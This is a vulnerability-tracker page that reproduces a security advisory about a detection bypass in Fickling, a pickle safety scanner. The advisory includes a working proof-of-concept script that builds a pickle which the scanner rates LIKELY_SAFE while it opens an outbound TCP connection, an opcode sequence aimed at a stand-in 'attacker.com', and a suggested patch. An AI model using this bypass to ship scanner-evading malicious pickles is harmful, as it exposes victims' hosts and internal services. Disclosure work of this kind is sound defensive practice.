GHSA-83pf-v6qq-pwmr: Fickling has a detection bypass via stdlib network-protocol constructors
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. Special conditions such as timing or configuration are required.
- Fixed version: fickling (PyPI) 0.1.8.
Low priority for now. Upgrade to fickling (PyPI) 0.1.8 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
# Our assessment `imtplib`, `imaplib`, `ftplib`, `poplib`, `telnetlib`, and `nntplib` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The `UnusedVariables` heuristic works as expected. # Original report ## Summary Fickling's `check_safety()` API and `--check-safety` CLI flag incorrectly rate as `LIKELY_SAFE` pickle files that open outbound TCP connections at deserialization time using stdlib network-protocol constructors: `smtplib.SMTP`, `imaplib.IMAP4`, `ftplib.FTP`, `poplib.POP3`, `telnetlib.Telnet`, and `nntplib.NNTP`. The bypass exploits two independent root causes described below. --- ## Root Cause 1: Incomplete blocklist (fixed in PR #233) `fickling/fickle.py` (lines 41-97) defines `UNSAFE_IMPORTS`, the primary blocklist. `fickling/analysis.py` (lines 229-248) defines the parallel `UnsafeImportsML.UNSAFE_MODULES` dict. Both omitted the following stdlib network-protocol modules whose constructors open a TCP socket at instantiation time: | Module | Class | Default port | Constructor side-effect | |---|---|---|---| | `smtplib` | `SMTP` | 25 | TCP connect, reads SMTP banner, sends EHLO | | `imaplib` | `IMAP4` | 143 | TCP connect, reads IMAP capability banner | | `ftplib` | `FTP` | 21 | TCP connect, reads FTP welcome banner | | `poplib` | `POP3` | 110 | TCP connect, reads POP3 greeting | | `telnetlib` | `Telnet` | 23 | TCP connect | | `nntplib` | `NNTP` | 119 | TCP connect, NNTP handshake | Because these module names were absent from both blocklists, `UnsafeImportsML`, `UnsafeImports`, and `NonStandardImports` all stayed silent. All six are genuine stdlib modules so `is_std_module()` returned `True` and `NonStandardImports` did not fire. **Status: patched in PR #233.** The six modules have been added to `UNSAFE_IMPORTS`. --- ## Root Cause 2: Logic flaw in `unused_assignments()` at `fickle.py:1183` (unpatched) ### Description `unused_assignments()` in `fickling/fickle.py` (lines 1174-1204) identifies variables that are assigned but never referenced. `UnusedVariables` analysis calls this method and raises `SUSPICIOUS` for any unreferenced variable -- this would otherwise catch a bare `REDUCE` opcode that stores its result without using it. The flaw is at line 1183. The method iterates over `module_body` statements and, when it encounters the final `result = <expr>` assignment, breaks out of the loop immediately without first walking the right-hand side expression for `Name` references: ```python # fickling/fickle.py:1183 (current code -- vulnerable) if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): # this is the return value of the program break # exits WITHOUT scanning statement.value ``` Any variable that appears only in the RHS of `result = <expr>` is therefore never added to the `used` set and is incorrectly classified as unused. ### How this enables bypass suppression When fickling processes a `REDUCE` opcode in isolation, it generates: ```python _var0 = SMTP('attacker.com', 25) result = _var0 ``` Because the loop breaks before scanning `result = _var0`, `_var0` never enters `used`. `UnusedVariables` sees `_var0` as unused and raises `SUSPICIOUS`. Adding a `BUILD` opcode with an empty dict after the `REDUCE` changes the generated AST to: ```python from smtplib import SMTP _var0 = SMTP('attacker.com', 25) # dangerous call _var1 = _var0 # BUILD step 1: intermediate reference _var1.__setstate__({}) # BUILD step 2: state call result = _var1 ``` Now `_var0` appears on the RHS of `_var1 = _var0`, a statement processed before the break, so `_var0` correctly enters `used` and `UnusedVariables` stays silent. The `__setstate__` call is excluded from `OvertlyBadEvals` because `ASTProperties.visit_Call` places it in `calls` but not in `non_setstate_calls` (line 562), and `OvertlyBadEvals` only iterates `non_setstate_calls`. The `SMTP(...)` call is skipped by `OvertlyBadEvals` because `_process_import` adds `SMTP` to `likely_safe_imports` for any stdlib module (line 550), and `OvertlyBadEvals` skips calls whose function name is in `likely_safe_imports` (lines 339-345). **Net result: zero warnings, severity `LIKELY_SAFE`.** This flaw is generic -- it applies to any module not on the blocklist, not just the six fixed in PR #233. Any future blocklist gap can be silently exploited using the same `REDUCE + EMPTY_DICT + BUILD` pattern as long as this flaw remains unpatched. ### Bypass opcode sequence ``` Offset Opcode Argument ------ ------ -------- 0 PROTO 4 2 GLOBAL 'smtplib' 'SMTP' 16 SHORT_BINUNICODE 'attacker.com' 30 BININT2 25 33 TUPLE2 34 REDUCE <- TCP connection opened here 35 EMPTY_DICT 36 BUILD <- suppresses UnusedVariables via flaw 37 STOP ``` Fickling's synthetic AST for this sequence (what all analysis passes inspect): ```python from smtplib import SMTP _var0 = SMTP('attacker.com', 25) _var1 = _var0 _var1.__setstate__({}) result = _var1 ``` No analysis rule in fickling fires on this AST. ### Proof of Concept Requires only `pip install fickling`. Save as `poc.py` and run. ```python import socket import threading import pickle def build_bypass_pickle(host: str, port: int) -> bytes: h = host.encode("utf-8") return b"".join([ b"\x80\x04", b"csmtplib\nSMTP\n", b"\x8c" + bytes([len(h)]) + h, b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]), b"\x86", # TUPLE2 b"R", # REDUCE b"}", # EMPTY_DICT b"b", # BUILD b".", # STOP ]) def run_poc(): from fickling.analysis import check_safety from fickling.fickle import Pickled HOST, PORT = "127.0.0.1", 19902 received = [] def listener(): srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((HOST, PORT)) srv.listen(1) srv.settimeout(5) try: conn, addr = srv.accept() received.append(addr) conn.close() except socket.timeout: pass srv.close() t = threading.Thread(target=listener, daemon=True) t.start() raw = build_bypass_pickle(HOST, PORT) loaded = Pickled.load(raw) result = check_safety(loaded) print(f"[*] fickling severity : {result.severity.name}") print(f"[*] fickling is_safe : {result.severity.name == 'LIKELY_SAFE'}") assert result.severity.name == "LIKELY_SAFE", "Bypass failed" print("[+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed") print("[*] Calling pickle.loads() to simulate victim loading the file...") try: pickle.loads(raw) except Exception: pass t.join(timeout=5) if received: print(f"[+] Incoming TCP connection received from {received[0]}") print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE") else: print("[-] No TCP connection received (network blocked)") print(" fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless") if __name__ == "__main__": run_poc() ``` ### Expected output ``` [*] fickling severity : LIKELY_SAFE [*] fickling is_safe : True [+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed [*] Calling pickle.loads() to simulate victim loading the file... [+] Incoming TCP connection received from ('127.0.0.1', 58412) [+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE ``` Tested on Python 3.11.1, Windows. Not OS-specific. ### Impact An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint) can silently: - **Enumerate victims** -- receive a TCP callback every time the pickle is loaded, including in sandboxed environments - **Exfiltrate host identity** -- victim IP, hostname (via SMTP EHLO), and service banners are sent to the attacker's server - **Probe internal services (SSRF)** -- if the victim host can reach internal SMTP relays, IMAP stores, or FTP servers, the pickle probes those services on the attacker's behalf - **Establish a covert channel** -- protocol handshakes carry attacker-controlled bytes through a channel fickling explicitly labels safe The `is_likely_safe()` helper (`fickling/analysis.py:468-474`) and the `--check-safety` CLI flag both gate on `severity == LIKELY_SAFE`. This bypass clears that gate completely with zero warnings. ### Suggested fix Walk `statement.value` before the `break` so variables referenced only in the result assignment are correctly counted as used: ```python # fickling/fickle.py:1183 -- suggested fix if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): # scan RHS before breaking so variables used only here are marked as used for node in ast.walk(statement.value): if isinstance(node, ast.Name): used.add(node.id) break ``` This is the same pattern already used for every other statement in the loop (lines 1200-1203). All 55 non-torch tests pass with this fix applied. --- ## Affected versions All releases including `v0.1.7` (latest). Confirmed on latest `master` as of 2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released). Root cause 2 unpatched as of this report. ## Reporter Anmol Vats
- Published
- Feb 20, 2026
- Updated
- Feb 23, 2026
- EPSS
- —
- CWE
- CWE-184
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
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| Vendor | Product | CPE |
|---|---|---|
| PyPI | fickling | pkg:pypi/fickling |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | fickling | before 0.1.8 | 0.1.8 |
Same product
PyPI: all recordsOther highest-scoring records for the same primary product.
- GHSA-5cxw-w2xg-2m8hfickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`0Monitor
- GHSA-r48f-3986-4f9cfickling modules linecache, difflib and gc are missing from the unsafe modules blocklist0Monitor
- GHSA-5hwf-rc88-82xmFickling missing RCE-capable modules in UNSAFE_IMPORTS0Monitor
Published before and after this one in the same product
- Later →GHSA-mxhj-88fx-4pcvFeb 24, 2026 · Fickling: OBJ opcode call invisibility bypasses all safety checks0Monitor
- Later →GHSA-mhc9-48gj-9gp3Feb 25, 2026 · Fickling has safety check bypass via REDUCE+BUILD opcode sequence0Monitor
- Later →GHSA-wccx-j62j-r448Mar 4, 2026 · Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:fickling | 0.1.8 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Variant candidates
Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.
- GHSA-mhc9-48gj-9gp35 days apartFickling has safety check bypass via REDUCE+BUILD opcode sequence0Monitor
- GHSA-5hwf-rc88-82xm12 days apartFickling missing RCE-capable modules in UNSAFE_IMPORTS0Monitor
- GHSA-5cxw-w2xg-2m8h21 days apartfickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`0Monitor
- GHSA-r48f-3986-4f9c21 days apartfickling modules linecache, difflib and gc are missing from the unsafe modules blocklist0Monitor
Not on record for this CVE: EPSS history · researcher credit · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- Special conditions such as timing or configuration are required.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- P
Weakness class (CWE)
CWE-184 · Incomplete List of Disallowed InputsCVSS vector
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Double EncodingCAPEC-120likelihood: Low · Medium
- Command DelimitersCAPEC-15likelihood: High · High
- Flash InjectionCAPEC-182likelihood: High · Medium
- Using Leading 'Ghost' Character Sequences to Bypass Input FiltersCAPEC-3likelihood: Medium · Medium
- Exploiting Multiple Input Interpretation LayersCAPEC-43likelihood: Medium · High
- Argument InjectionCAPEC-6likelihood: High · High
- Using Unicode Encoding to Bypass Validation LogicCAPEC-71likelihood: Medium · High
- User-Controlled FilenameCAPEC-73likelihood: High · High
ATT&CK techniques
—
Change log (2)
- Fix✗ → ✓
- CVSS2.5 → —
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References
Show all references (3 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.